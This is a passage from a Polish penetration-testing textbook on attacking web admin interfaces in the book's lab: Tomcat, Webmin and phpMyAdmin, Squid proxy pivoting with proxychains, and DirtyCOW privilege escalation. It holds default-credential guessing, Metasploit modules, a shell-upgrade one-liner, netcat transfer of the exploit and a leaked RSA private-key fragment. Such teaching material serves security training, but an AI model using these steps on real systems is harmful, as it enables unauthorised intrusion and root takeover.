A+XgPpKB8eivltjax/two4OyS9fFBogPjsGCmO33aRu9Qvgjrxv8B3Aj8zL47Lynt9L/sqsQyvMb
AoGAIztMpgzY3U4fHNs6SurVG9wWF2dfLwZBkT29uIfSIGyBmA/JfKbzximaoYDstkigovF51YvH
3dhFxYOT7jDBckES5WrHYDGnN3Zs5nr/WonRO1tKwqJJGxkLgU8uTGbHw4Ut85xGvrPEHsbSuXPQ
vVUYkfun8MO4o+0Vam3+EhECgYACKvnpesOZQGzkKcXzWnzaGbAH86UZcGI3ah/P0bXoHWVb4J+g
qRizCEqQ0j9FaoMP6mBtptq2FaU6fqHLVmw9I0WKlETT6EwASnG/aQbf7cLqktdtvoZpt7sXXEa2
HQwpdipCwgJRjstov0Xeg8i8mlKZebLv3LGkSzcKadaVSQKBgQCY9HMeKG+y4CtsE4+0AlGlAfG4
6lt5y2ngHs+MHfAEwgyCiwF/3R/VHhW2gn3ZjwrrM8ESXGdvgHy2qAkAjaRt6gZ6hbUphDdXpKkC
rpdFeYAbQG4/L17s3QeArWHM8wk8dK4RPfytAlPw3JEPbnv2UIPkkQLfh0Zyfgf+8of1lQ==
-----END RSA PRIVATE KEY-----

Atak na klucz prywatny RSA wykorzystujący faktoryzację liczb pierwszych jest jednym z powo-
dów, dla których błąd Heartbleed zyskał tak wielki rozgłos w 2014 roku. Administratorzy serwerów
zostali zmuszeni do zmiany kluczy prywatnych w swoich serwerach, jak również do wymiany haseł,
które mogły zostać ujawnione. Hacker będący w posiadaniu klucza prywatnego serwera mógł prze-
cież rozszyfrować przechwyconą komunikację nawet w późniejszym terminie, nawet długo po tym,
jak sam błąd Heartbleed został już usunięty.
Jeżeli przyjrzysz się wynikom skanowania portów laboratorium naszej książki, to zobaczysz, że
port 443 jest otwarty. Jest to domyślny port używany przez protokół HTTPS i podobnie jak port 80 może
zostać pominięty w adresie URL używanym do uzyskania dostępu do danego zasobu. Na przykład
adres https://www.przyklad.pl automatycznie będzie próbować nawiązać połączenie na porcie 443.

3681988c430c7fe1e8567c4e2f281f7b
3
254 Rozdział 7  Sieć WWW pełna podatności

Często zdarza się, że ludzie wpisują w pasku adresu przeglądarki jedynie www.przyklad.pl albo
nawet przyklad.pl, a wtedy typowa przeglądarka próbuje nawiązać połączenie z serwerem na porcie
80. Wiele serwerów odsyła wtedy informację o przekierowaniu, nakazującą przeglądarce połączyć się
na porcie 443 przy użyciu protokołu HTTPS. Jeżeli znajdziesz jakąkolwiek usługę używającą pro-
tokołu HTTPS zabezpieczonego szyfrowaniem SSL lub TLS, to wykorzystaj techniki opisywane
w poprzednim rozdziale oraz te przedstawione tutaj, aby sprawdzić, czy nie można wykorzystać
w tej usłudze błędu Heartbleed. Użyj przy tym takich narzędzi jak sslscan.

Sieciowe interfejsy administracyjne

Nie każdy lubi zajmować się administrowaniem swoim serwerem WWW oraz działającymi na nim
aplikacjami, używając do tego wyłącznie wiersza poleceń. Wiele osób woli używać do tego celu
narzędzi z uproszczonym interfejsem GUI albo specjalnych interfejsów umożliwiających lepsze wi-
zualne zarządzanie systemem. Przyjrzymy się teraz kilku takim interfejsom, aby zapoznać się z po-
datnościami, jakie mogą się w nich ukrywać.

Apache Tomcat
Apache Tomcat (tomcat.apache.org/) jest rozszerzeniem dla serwera Apache, zaprojektowanym do
obsługiwania aplikacji w języku Java umieszczonych w bezpiecznym kontenerze. Udostępnia różne
interfejsy zarządzające oraz funkcje pomocnicze przeznaczone do hostowania aplikacji, co ma uprasz-
czać procesy związane z ich wdrażaniem. Oczywiście takie rozwiązania upraszczają też zadania sto-
jące przed hakerami, a ich historia usiana jest informacjami o różnorakich błędach.
Dawniej administratorzy i programiści chętnie instalowali rozszerzenie Tomcat, ale zapominali
o jego zabezpieczeniu, na przykład pozostawiając niezmienione, domyślne hasła. Nowsze wersje
rozszerzenia zmuszają użytkowników do stosowania bezpiecznych konfiguracji i definiowania nie-
standardowych nazw użytkowników oraz haseł. Standardowa instalacja rozszerzenia Tomcat ma
długą historię różnych błędów, które pozwalały na nadużywanie interfejsów administracyjnych,
nawet jeżeli hostowana aplikacja w języku Java była całkowicie bezpieczna.

JAVA

Języka Java nie należy mylić z językiem JavaScript. Jest to język programowania działający we-
wnątrz maszyny wirtualnej Javy (JVM — Java Virtual Machine). Oznacza to, że jeden kod może
zostać uruchomiony na dowolnym systemie, pod warunkiem że jest w nim zainstalowana ma-
szyna wirtualna Javy. Niemal na pewno każdy używał już tych maszyn wirtualnych nazywanych
również środowiskiem uruchomieniowym Javy (JRE — Java Runtime Environment). Jest ono wy-
korzystywane do obsługiwania wielu różnych aplikacji, na przykład w systemach osadzonych
(twórcy Javy chwalą się, że działa ona na 15 miliardach urządzeń), ale również w aplikacjach
WWW. Jest to język niezwykle popularny wśród programistów.

3681988c430c7fe1e8567c4e2f281f7b
3
Sieciowe interfejsy administracyjne 255

Serwlety Javy oraz strony JSP (Java Server Pages) stanowią alternatywę dla innych języków
skryptowych działających po stronie serwera, takich jak PHP lub ASP.NET, choć serwlety muszą
być uruchamiane w specjalnych kontenerach sieciowych. Takie kontenery wymagają obsługi
realizowanej przez specjalizowane oprogramowanie, takie jak Apache Tomcat. Przygotowane
w ten sposób aplikacje są kompresowane do postaci archiwów WAR (Web Application Archive),
których konfiguracja jest zazwyczaj zapisana w pliku web.xml. W archiwach aplikacji znajdują się
różne mieszanki danych dla stron WWW (obrazy, strony JSP oraz pliki HTML), serwletów Javy
oraz innego kodu języka Java, z których korzysta aplikacja. Rozbudowane aplikacje mogą być
przygotowywane w ten sposób, co umożliwia ich łatwe przenoszenie z miejsca na miejsce.

Sprawdźmy teraz, jak wygląda rozszerzenie Apache Tomcat znajdujące się w laboratorium na-
szej książki. Można je znaleźć na porcie TCP 8080. Wcześniej można było zauważyć informacje na
jego temat w wynikach skanowania programu Nmap. Poniżej przedstawiamy ponownie najistot-
niejszą część tych wyników:
8080/tcp open http syn-ack Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
| Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_ Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Private

Wpisując w przeglądarce adres z portem 8080 (http://<AdresIP>:8008), nie uzyskamy zbyt

wielu informacji. Na pierwszy rzut oka wydaje się, że na tym porcie nie jest hostowana żadna apli-
kacja, dlatego trzeba się zastanowić, jak można przyjrzeć się dokładniej temu serwisowi. W tym
miejscu pomocne może być przeglądanie kodu źródłowego strony wyświetlanej w przeglądarce
albo ręczne wysłanie żądań HTTP za pomocą programu Netcat. Możesz też poszukać skryptów dla
programu Nmap, które można wykorzystać do zbadania tego serwisu. Możesz też poszukać w sieci
informacji na temat tej konkretnej wersji rozszerzenia Apache Tomcat, aby dowiedzieć się, jak ono
działa. Możesz też użyć programu Searchsploit, aby sprawdzić, czy nie ma dla niego jakiegoś explo-
itu. Najlepiej byłoby zrobić wszystkie trzy rzeczy, gdy tylko natkniesz się w swojej pracy na jakąś
nową usługę.
Wcześniej wykonaliśmy już kilka skanów, używając do tego skanerów podatności takich jak
Nikto, ale nasze prace koncentrowały się na porcie 80. Nie skanowaliśmy pozostałych portów,
mimo że nasz serwer WWW ma otwartych kilka dodatkowych. Nie potrwa długo, zanim używając
tych narzędzi, zdołasz wykryć, że na serwerze istnieje katalog /manager/. Co więcej, istnieje też
katalog /manager/html. Wykryty zostanie również plik /examples/servlets/index.html oraz kilka po-
dobnych plików, którym na pewno warto się przyjrzeć.
Przejście do katalogu /manager/html spowoduje wyświetlenie w przeglądarce okienka logowa-
nia. Możesz spróbować się tu zalogować, próbując zgadnąć nazwy użytkowników i hasła. Istnieje
też moduł frameworka Metasploit o nazwie tomcat_mgr_login, który można wykorzystać do prze-
testowania typowych zbiorów danych uwierzytelniających. To typowy exploit próbujący zalogować
się na serwer za pomocą pewnej liczby typowych nazw użytkowników i haseł właściwych dla roz-
szerzenia Tomcat (używa też wszystkich historycznych danych domyślnych). Innymi słowy, ten
moduł sprawdza, czy serwer nie korzysta z ustawień fabrycznych i czy nie są w nim używane słabe
hasła. Taka kontrola powinna być zawsze wykonywana w ramach pierwszej kontroli serwera.

3681988c430c7fe1e8567c4e2f281f7b
3
256 Rozdział 7  Sieć WWW pełna podatności

Nazwy użytkowników i hasła wykorzystywane przez ten moduł zapisane są w pliku /usr/share/
metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt znajdującym się w systemie
Kali Linux. Możesz też użyć programu Hydra i podać mu listę danych uwierzytelniających często
stosowanych dla rozszerzenia Tomcat, aby na jej podstawie wykonał siłową próbę zalogowania.
Jeżeli udało Ci się z sukcesem uruchomić jakiś moduł Metasploita, to i z tym nie powinno być
żadnych problemów. Może się to wydawać niewiarygodne, ale wiele włamań do systemów wielkich
organizacji często wykonywano za pomocą tak prostych rozwiązań jak to. Takie możliwości powstają
zwykle w wyniku pomyłki niedoświadczonego administratora systemu, który instaluje pakiet opro-
gramowania, nie wiedząc nawet (a może tylko zapominając) o istnieniu domyślnego i często sto-
sowanego hasła. Teraz gdy (mamy nadzieję) masz już poprawną nazwę użytkownika i jego hasło
uzyskane w wyniku ataku siłowego, możesz spróbować zalogować się na to konto.
Po zalogowaniu w oknie przeglądarki powinien pojawić się interfejs administracyjny umożli-
wiający pracę z rozszerzeniem Tomcat. Za jego pomocą możesz przesyłać na serwer własne pliki
WAR i uruchamiać swoje aplikacje Java na przejętym serwerze. To również działanie, które na-
leży wypróbować samodzielnie, aby dowiedzieć się, jakie mechanizmy używane są w tym ataku.
We frameworku Metasploit istnieje nawet specjalny moduł (tomcat_mgr_deploy) przeznaczony do
realizacji tych zadań. Uruchomienie tego exploitu daje nam dostęp do konta użytkownika tomcat,
co jest realizowane przez przesłanie na serwer aplikacji Java umożliwiającej uruchamianie poleceń,
która jest zapisana w pliku WAR przygotowanym na opublikowanie i użytkowanie przez hakera.
To kolejny powód, dla którego warto poszukiwać kolejnych podatności w systemie, nawet mimo
uzyskania już pewnego poziomu dostępu. Po prostu nigdy nie wiadomo, jakie uprawnienia uda się
uzyskać po włamaniu na wybraną usługę.
Ważne jest, żeby ciągle poszukiwać nowych metod wejścia do systemu, nawet jeżeli udało się
już znaleźć jeden sposób. To bardzo istotne również dla naszego klienta, który oczekuje od nas
znalezienia jak największej liczby luk. Atakujący musi znaleźć tylko jeden sposób dostania się do
systemu klienta, natomiast tester penetracyjny musi wyszukać wiele takich metod (a idealnie
wszystkie). Swojemu klientowi musimy przekazać informacje o jak największej liczbie istniejących
podatności i nie można się ograniczyć do jednego przykładu podatności Shellshock.
Mówi się, że życie etycznego hakera (białego kapelusza) albo testera penetracyjnego jest znacz-
nie trudniejsze od życia złośliwego hakera (czarnego kapelusza), ponieważ ten ostatni musi znaleźć
tylko jeden sposób na włamanie się do wybranego komputera. Etyczny haker wie, że do systemu
zawsze da się jakoś dostać, a nierzadko istnieje nawet kilka sposobów wejścia do niego. To dlatego
jego zadanie jest tak trudne. Po prostu musi znaleźć wszystkie te sposoby, a przynajmniej na tyle
dużo z nich, na ile to możliwe.

Webmin
Webmin to narzędzie do administrowania systemem przygotowane do pracy z uniksowymi syste-
mami operacyjnymi. Każdy, kto ma dostęp do interfejsu WWW tego narzędzia, może zająć się
obsługą kont użytkowników, konfigurowaniem serwera DNS, włączaniem współdzielenia plików
i wykonywaniem wielu innych, typowych prac administracyjnych. Webmin jest popularny wśród
osób, które pracują z Linuksem, ale nie lubą używać interfejsu wiersza poleceń. Ten program zwykle
nasłuchuje na porcie TCP 10000. Niestety interfejsy administracyjne, takie jak Webmin, często są

3681988c430c7fe1e8567c4e2f281f7b
3
Sieciowe interfejsy administracyjne 257

dostępne w publicznym internecie. W związku z tym, że interfejs Webmin może zostać wykorzystany
do bezpośredniego kontrolowania komputera, jest on popularnym celem wśród hakerów. Interfejs
Webmin działa z prawami użytkownika root, dlatego gdy zauważysz, że działa on na badanym
serwerze WWW, zawsze staraj się uzyskać do niego dostęp.
Większość paneli administracyjnych WWW można rozbudowywać za pomocą wtyczek, które
z jednej strony rozbudowują paletę dostępnych funkcji, ale z drugiej strony wprowadzają również
nowe podatności. W laboratorium tej książki również działa interfejs Webmin (rysunek 7.5), który
udostępnia kilka bardzo interesujących funkcji. We frameworku Metasploit dostępny jest exploit
webmin_show_cgi_exec zajmujący się wstrzykiwaniem poleceń, który po udanym ataku może dać
nam nawet dostęp do konta użytkownika root. Próbę uzyskania takiego dostępu pozostawiamy
jako osobne zadanie dla czytelnika, tym bardziej że wymaga to zgadywania nazwy użytkownika
i hasła w panelu logowania! Wybierając payload, musisz zdecydować się na taki, który ma większe
szanse powodzenia w atakowanym systemie. W tym przypadku najlepiej będzie skorzystać z wa-
riantu cmd/unix/reverse_python, ponieważ w atakowanym systemie dostępny jest interpreter ję-
zyka Python.

Rysunek 7.5. Panel administracyjny Webmin

Jedną z metod poznawania exploitów dostępnych we frameworku Meta-

sploit, takich jak webmin_show_cgi_exex, jest uruchomienie programu Wireshark i przeglą-
danie zawartości pakietów przesyłanych po uruchomieniu wybranego modułu. Można
wtedy zapisać sobie zaobserwowany payload i spróbować odtworzyć atak ręcznie za po-
mocą programu Netcat (albo napisać sobie własny skrypt w Pythonie). Na rysunku 7.6 pre-
zentujemy przykład takiej analizy. Czy zdołasz tu zobaczyć, w jaki sposób wykorzystywany
jest błąd umożliwiający wstrzykiwanie poleceń?

3681988c430c7fe1e8567c4e2f281f7b
3
258 Rozdział 7  Sieć WWW pełna podatności

Rysunek 7.6. Wstrzykiwanie poleceń w interfejsie Webmin obserwowane w programie Wireshark

phpMyAdmin
phpMyAdmin to kolejny sieciowy interfejs administracyjny przeznaczony do zarządzania bazami
danych MySQL i MariaDB, który został napisany w języku PHP. W laboratorium tej książki można
go znaleźć pod adresem <AdresIP>/admin. Uzyskanie dostępu do interfejsu phpMyAdmin pozwala
na przeglądanie i edytowanie baz danych, z którymi ten interfejs jest połączony. Jeżeli uda Ci się
zalogować jako użytkownik root serwera MySQL, to uzyskasz pełną kontrolę nad bazą danych.
Podobnie jak dzieje się to z wieloma innymi interfejsami administracyjnymi, phpMyAdmin
również czasem pojawia się na produkcyjnych serwerach z domyślnymi lub łatwymi do odgadnię-
cia nazwami użytkowników i hasłami. Wyrób w sobie nawyk próbowania różnych prostych danych
uwierzytelniających składających się z typowych par słów, takich jak admin/admin, backup/backup,
helpdesk/helpdesk, root/root itp. Czasami działają nawet puste hasła, dlatego zdecydowanie warto
bawić się w „zgadywanie haseł”. Jeżeli uda Ci się zalogować, to zobaczysz ekran powitalny taki jak na
rysunku 7.7. Poszukiwanie podatności istniejących w tej konkretnej wersji narzędzia phpMyAdmin
z pewnością również pozwoli uzyskać kilka ciekawych wyników.

Rysunek 7.7. Panel administracyjny phpMyAdmin

3681988c430c7fe1e8567c4e2f281f7b
3
Serwery proxy w sieci WWW 259

Serwery proxy w sieci WWW

Organizacje często używają serwerów proxy, za pośrednictwem których pracownicy uzyskują do-
stęp do sieci WWW. Serwer proxy dla sieci WWW jest specjalnym serwerem WWW, który odbiera
żądania dotyczące różnych zasobów sieciowych i przekazuje je dalej. Odpowiedź na takie żądanie
jest odbierana przez serwer proxy, co pozwala na zachowanie jej w pamięci podręcznej i późniejszą
szybszą obsługę takich samych żądań. Czasem można też natknąć się na publicznie dostępne ser-
wery proxy, które powinny wymagać uwierzytelnienia od swoich użytkowników. Otwarty serwer
proxy (jest dość podobny do otwartego serwera przekazującego, o którym mówiliśmy w poprzed-
nich rozdziałach) nie ogranicza użytkowników, pozwalając każdemu na korzystanie z niego.
Złośliwi użytkownicy sieci WWW chętnie korzystają z takich serwerów, aby skanować lub atako-
wać inne systemy przy jednoczesnym ukrywaniu swojej tożsamości. Odwrotny serwer proxy zaj-
muje się natomiast przesyłaniem żądań z internetu do określonego serwera w sieci wewnętrznej.
Wcześniej wspominaliśmy już, że w tej roli można wykorzystać serwer Nginx. Podczas przeprowa-
dzania oceny serwerów sieci WWW trzeba zawsze mieć na uwadze tę możliwość i być na nią od-
powiednio przygotowanym.
Możliwe jest też wykorzystywanie serwerów proxy w celu uzyskania dostępu do innych syste-
mów w sieci wewnętrznej. Wykonany wcześniej skan programu Nmap wskazał serwer proxy dzia-
łający w laboratorium tej książki. Oto wiersz wybrany z wyników skanu programu Nmap.
3128/tcp open http-proxy syn-ack Squid http proxy 3.1.18

Na początek można spróbować działania tego portu za pomocą przeglądarki albo przeprowa-
dzić dokładniejsze badania za pomocą takich programów jak Netcat lub skaner Nikto. Jeżeli chcesz
skorzystać z przeglądarki, to wpisz w niej adres http://<AdresIP>:3128/. Zobaczysz wtedy stronę
z komunikatem o błędzie, na której znajdziesz jednak sporo ciekawych informacji. Zgodnie z da-
nymi z tej strony (na rysunku 7.8) obsługą tego portu zajmuje się oprogramowanie o nazwie Squid
(www.squid-cache.org). Jest to serwer proxy dla sieci WWW, a w połączeniu z podanym na stronie
numerem wersji możemy przeprowadzić dla niego analizę podatności. Za pośrednictwem tego ser-
wera można się połączyć z innym hostem, używając do tego programu Netcat i polecenia HTTP
CONNECT. Aby sprawdzić, czy ten serwer proxy jest serwerem otwartym, możemy skorzystać z jednego
ze skryptów programu Nmap.
nmap --script=http-open-proxy <AdresIP> -p 3128 -sT -vv -n -Pn

Proxychains
Proxychains to narzędzie do przekierowywania połączeń TCP za pomocą serwera proxy. Jak suge-
ruje nazwa tego narzędzia, może ono łączyć kilka serwerów proxy w łańcuch, przez co ruch sie-
ciowy wędruje od jednego serwera do następnego. Gdy natkniesz się na serwer proxy WWW, to za
pomocą tego narzędzia możesz sprawdzić, czy będziesz w stanie połączyć się z innymi hostami
poprzez ten serwer proxy. Jeżeli tak jest, to będzie można wykorzystać go do zrealizowania kilku
dodatkowych zadań, na przykład maskowania prawdziwej lokalizacji źródła skanowania. Zaletą
stosowania tego serwera jest to, że pozwala on inaczej spojrzeć na interesującą nas sieć. Nagle mogą
„pojawić się” niewidoczne do tej pory hosty albo i nowe otwarte porty.

3681988c430c7fe1e8567c4e2f281f7b
3
260 Rozdział 7  Sieć WWW pełna podatności

Rysunek 7.8. Komunikat o błędzie serwera Squid

Przyjrzyjmy się teraz prostemu przykładowi użycia programu Proxychains. Najpierw wykonaj
kopię pliku konfiguracyjnego i umieść ją w aktualnym katalogu (na przykład za pomocą polecenia
cp /etc/proxychains.conf ./) i zacznij ją edytować (na przykład poleceniem nano proxychains.conf).
Na końcu pliku konfiguracyjnego znajdziesz następujące przykłady:
# ProxyList format
# type host port [user pass]
# (values separated by 'tab' or 'blank')
#
#
# Examples:
#
# socks5 192.168.67.78 1080 lamer secret
# http 192.168.89.3 8080 justu hidden
# socks4 192.168.1.49 1080
# http 192.168.39.93 8080
#
#
# proxy types: http, socks4, socks5
# ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 9050

Znak kratki (#) oznacza, że w danym wierszu znajduje się komentarz, który jest ignorowany
przez program Proxychains. W sekcji [ProxyList] można dopisywać własne definicje serwerów
proxy. Wystarczy zatem usunąć istniejący już adres i wpisać dane serwera Squid działającego
w laboratorium tej książki, stosując ten zapis: http <AdresIP> 3128.

3681988c430c7fe1e8567c4e2f281f7b
3
Proxychains 261

Teraz można spróbować wykorzystać ten serwer proxy do wykonania skanu programem Nmap.
Do wykonania takiego skanowania nie potrzeba kolejnego wirtualnego serwera. Można w ten spo-
sób przeskanować ten sam serwer, ale tym razem z innego punktu widzenia. Zamiast podawać
konkretny adres IP (na przykład 192.168.48.101), użyj adresu lokalnego hosta (czyli 127.0.01).
Na początek spróbuj przeskanować tylko jeden port, na przykład port 80, nie zapominając o użyciu
opcji -sT.
proxychains nmap -sT 127.0.0.1 -p 80,81,3306

Tym poleceniem nakazaliśmy sprawdzanemu hostowi przeskanować się za pomocą programu

Nmap. Podczas skanowania serwera proxy nie ma możliwości wykonania skanów używających ko-
munikatu SYN, ponieważ serwer proxy musi ustanowić pełne połączenie TCP. W wynikach ska-
nowania znajdziesz takie komunikaty:
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-25 13:20 PDT
|S-chain|-<>-192.168.11.143:3128-<><>-127.0.0.1:80-<><>-OK
|S-chain|-<>-192.168.11.143:3128-<><>-127.0.0.1:80-<><>-OK
|S-chain|-<>-192.168.11.143:3128-<><>-127.0.0.1:3306-<><>-OK
|S-chain|-<>-192.168.11.143:3128-<><>-127.0.0.1:81-<--denied
|S-chain|-<>-192.168.11.143:3128-<><>-127.0.0.1:31337-<><>-OK
Nmap scan report for localhost (127.0.0.1)
Host is up (0.022s latency).

PORT STATE SERVICE

80/tcp open http
81/tcp closed hosts2-ns
3306/tcp open mysql
31337/tcp open Elite

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

Zwróć uwagę na kilka wyróżnionych wierszy z powyższego wydruku. Najpierw przyjrzyj się
wierszom zaczynającym się od |S-chain|, a kończącym na -OK, które reprezentują różne połącze-
nia. Zauważ też, że program Nmap skanował hosta o adresie lokalnego hosta (127.0.01). Jeżeli
na takim serwerze działają usługi, które są dostępne wyłącznie dla lokalnego hosta, to połączenie
z nimi może być możliwe, jeżeli wykorzystamy do tego serwer proxy. Tego serwera można też użyć
do realizowania tunelu do sieci wewnętrznej i zaatakowania systemów, które nie są widoczne
z publicznego internetu. I rzeczywiście, w laboratorium dla tej książki znajdziesz działający serwer
baz danych. Możesz spróbować się z nim połączyć przy użyciu polecenia mysql (to klient używany
do łączenia się z bazami danych MySQL), kierując to połączenie za pomocą programu Proxychains:
proxychains mysql -h 127.0.0.1 -u root

To polecenie próbuje zalogować się do bazy danych jako użytkownik root, ale tutaj już lekko
odbiegamy od tematu. Bazami danych zajmiemy się w jednym z kolejnych rozdziałów. Na razie
spróbuj użyć programu Proxychains w połączeniu z innymi narzędziami, takimi jak Netcat. Hake-
rzy mają swoje własne powiedzenie: „nie złapiesz mnie, bo jestem za siedmioma serwerami proxy”.
To właśnie dzięki Proxychains haker może uzyskać aż taką „odległość” od atakowanego systemu.
Jeżeli teraz porównamy listę portów uzyskanych w ramach skanowania przez serwer proxy z listą

3681988c430c7fe1e8567c4e2f281f7b
3
262 Rozdział 7  Sieć WWW pełna podatności

wygenerowaną wcześniej przez program Nmap, to zobaczymy, że w laboratorium tej książki port
31337 jest otwarty wyłącznie dla lokalnego hosta. Można zatem spróbować połączyć się z tą usługą
programem Netcat poprzez serwer proxy:
proxychains nc 127.0.0.1 31337

Podnoszenie uprawnień
Oprogramowanie serwera WWW, takie jak Apache, zazwyczaj nie działa z uprawnieniami supe-
rużytkownika lub użytkownika root. To oznacza, że jeżeli uda się uzyskać dostęp do powłoki
albo wykonać jakieś polecenia na zdalnym serwerze, musisz się postarać o dostęp do konta użyt-
kownika root. Hakerzy często zadają sobie pytanie „Masz roota?”. To oznacza, że inny zestaw
uprawnień jest niewystarczający do zrealizowania zadania i muszą próbować dalej, aby uzyskać
niezbędne uprawnienia. Istnieje wiele różnych metod podnoszenia swoich uprawnień (czasami
wystarczy użyć polecenia sudo lub su), ale w tym rozdziale wykorzystamy podatność istniejącą
w jądrze systemu.
W tym konkretnym systemie istnieje użytkownik www-data. (Można się tego dowiedzieć, uru-
chamiając polecenie id po użyciu exploitu dającego dostęp do powłoki, na przykład takiego, który
używa ataku Shellshock). W poprzednim rozdziale mówiliśmy o rozbudowie powłoki, która dawa-
łaby nam kontrolę nad zadaniami oraz namiastkę interfejsu tty. Takie działania należy wykonać
zawsze zaraz po uzyskaniu dostępu do podstawowej powłoki, ale jest to szczególnie ważne, jeżeli
chcemy użyć exploitów umożliwiających podniesienie uprawnień. Pamiętasz jeszcze, co wtedy zro-
biliśmy? Jeszcze raz przytaczamy jednowierszowy program w Pythonie:
python -c "import pty; pty.spawn('/bin/bash')"

W zależności od tego, jak uzyskaliśmy wstępny dostęp do systemu, możemy otrzymać różną
nazwę użytkownika oraz inny znak zachęty. Po wykonaniu podanego wyżej programu powinien
pojawić się lepiej znany nam znak zachęty, podobny do poniższego:
www-data@webserver01:/usr/lib/cgi-bin$

Następnym krokiem w przygotowaniu do wykonania ataku LPE (Local Privilege Escalation —

lokalne podniesienie uprawnień) powinno być pozyskanie swojego profilu (ang. profile sourcing),
dzięki czemu zdefiniowane zostaną zmienne środowiskowe oraz konfiguracja systemu, co jest nie-
zbędne w pracy danego hosta. Tę operację można wykonać za pomocą poniższego polecenia:
. /etc/profile

Bez obaw, pozyskanie swojego profilu to jeden z tematów, które będą do nas jeszcze powracać.
Na razie upewnij się tylko, że między kropką (.) a ukośnikiem (/) znajduje się spacja. Tutaj chodzi
o coś innego niż o odwołanie się do aktualnego katalogu za pomocą znaków ./. Po rozbudowaniu
swojej powłoki i pozyskaniu profilu jesteśmy gotowi do uruchamiania kolejnych exploitów w celu
uzyskania dostępu do konta użytkownika root.

3681988c430c7fe1e8567c4e2f281f7b
3
Podniesienie uprawnień za pomocą ataku DirtyCOW 263

Podniesienie uprawnień
za pomocą ataku DirtyCOW
Błąd CVE-2016-5195 jest błędem stanu wyścigu związanego z operacjami kopiowania przy za-
pisie (ang. copy-on-write) wykonywanymi w jądrze Linuksa. Oznacza to, że pamięć przeznaczona
wyłącznie do odczytu mimo wszystko pozwala na zapisywanie danych. W efekcie atakujący może
podnieść swoje uprawnienia z poziomu użytkownika nieuprzywilejowanego do poziomu użyt-
kownika root. Ten błąd występuje w jądrach Linuksa o numerze wersji od 2.x do 4.8.3. Oma-
wiana podatność otrzymała prześmiewczą nazwę DirtyCOW (brudna krowa, przy czym skrót
COW pochodzi od nazwy operacji copy-on-write). Numer wersji jądra Linuksa w aktualnym
systemie można odczytać za pomocą polecenia uname -a, oczywiście po uprzednim uzyskaniu
dostępu do tego systemu.

Podatności istniejące w jądrze systemu są skuteczną metodą podnosze-

nia swoich uprawnień, ale zwykle są też metodą bardziej ryzykowną niż rozwiązania skie-
rowane na programy działające w trybie użytkownika. Hakowanie jądra systemu może
doprowadzić do niestabilności, a nawet do całkowitego wyłączenia systemu, ponieważ
jądro jest podstawowym elementem każdego systemu operacyjnego. Zalecamy zatem,
żeby najpierw wypróbować mniej ryzykowne metody, a dopiero potem przejść do roz-
wiązań o wyższym poziomie ryzyka, takich jak używanie exploitów atakujących jądro sys-
temu. W ten sposób nasze działania mają mniejszą szansę na zakłócenie normalnej pracy
systemu operacyjnego.
Exploit wykorzystujący błąd DirtyCOW można pobrać ze stron firmy Hacker House, z adresu
www.hackerhousebook.com/files/cowroot32. W pliku /files/cowroot.c udostępniamy również kod źró-
dłowy tego exploitu. Program musi zostać skompilowany do postaci 32-bitowego pliku statycznego.
Kompilację wykonaliśmy za Ciebie, ale możesz też samodzielnie użyć kompilatora GCC (GNU
Compiler Collection), podając mu niezbędne opcje (dobrze jest zacząć od lektury man gcc). Można
też skompilować własną, dynamicznie konsolidowaną wersję programu, używając do tego po-
niższego polecenia:
gcc -Wall -o cowroot cowroot.c -ldl -lpthread

Tym poleceniem wygenerujesz plik binarny powiązany ze środowiskiem swojego systemu, który
może nie działać na zdalnym komputerze, ponieważ może on mieć odmienne środowisko urucho-
mieniowe i architekturę. Statycznie konsolidowany plik binarny jest plikiem zawierającym w sobie
wszystkie niezbędnie zewnętrzne biblioteki, który do działania nie potrzebuje żadnych zewnętrz-
nych bibliotek i dlatego lepiej nadaje się do użytkowania na zdalnym komputerze. To zupełnie inna
konstrukcja w porównaniu z plikiem konsolidowanym dynamicznie, który do działania wymaga
obecności wielu zewnętrznych plików. Do utworzenia statycznie konsolidowanego pliku niezbędne
jest dopisanie do powyższego polecenia opcji -static.
Utworzony plik cowroot został przygotowany do pracy w architekturze 32-bitowej, ale powi-
nien działać również w systemach 64-bitowych, pod warunkiem że te są przygotowane na takie
sytuacje. (Sytuacja odwrotna, czyli uruchomienie 64-bitowego pliku w systemie 32-bitowym, nie
będzie możliwa). Jeżeli kompilujesz program w systemie 64-bitowym, a chcesz uzyskać 32-bitowy

3681988c430c7fe1e8567c4e2f281f7b
3
264 Rozdział 7  Sieć WWW pełna podatności

plik wykonywalny, to do podanego wyżej polecenia musisz dopisać opcję -m32, aby poinformować
kompilator, że ma utworzyć plik wykonywalny dla architektury 32-bitowej. Plik exploitu trzeba
teraz przenieść na zdalny host, gdzie musi zostać wykonany w atakowanym systemie. W końcu
mamy do czynienia z exploitem zapewniającym lokalne podniesienie uprawnień.
Jednym ze sposobów przeniesienia pliku jest użycie programu Netcat. Najpierw uruchom go
w systemie Kali Linux w trybie nasłuchiwania. Można o nim myśleć jak o podstawowym serwerze,
który oczekuje na połączenia przychodzące. Po ręcznym wykorzystaniu błędu Shellshock używali-
śmy nasłuchującego programu Netcat, a przychodzące połączenie zapewniło nam dostęp do po-
włoki w zdalnym systemie. Tym razem skorzystamy ze znaku przekierowania (<), aby użyć nasłu-
chującego programu Netcat do wysłania pliku na zdalnego hosta. Każdy, kto połączy się z naszym
systemem na właściwym porcie, będzie w stanie ustanowić połączenie TCP i odebrać z niego nasz
plik! Oto polecenie, którego w tym miejscu potrzebujemy:
nc -v -p 443 -l < cowroot32

Pamiętaj, że ten exploit powinien zostać uruchomiony dopiero po uzyskaniu dostępu do zdal-
nego systemu. Najpierw trzeba go przenieść, zapisać w odpowiednim katalogu i dopiero potem
uruchomić. Zazwyczaj użytkownicy bez uprawnień użytkownika root nie mogą zapisywać plików
w dowolnym katalogu, dlatego trzeba w systemie znaleźć taki katalog, którego będziemy mogli
użyć. W przypadku laboratorium tej książki użytkownik www-data ma prawo zapisywania plików
w katalogu /tmp. To dość typowe miejsce, w którym można zapisywać pliki exploitów pozwalające
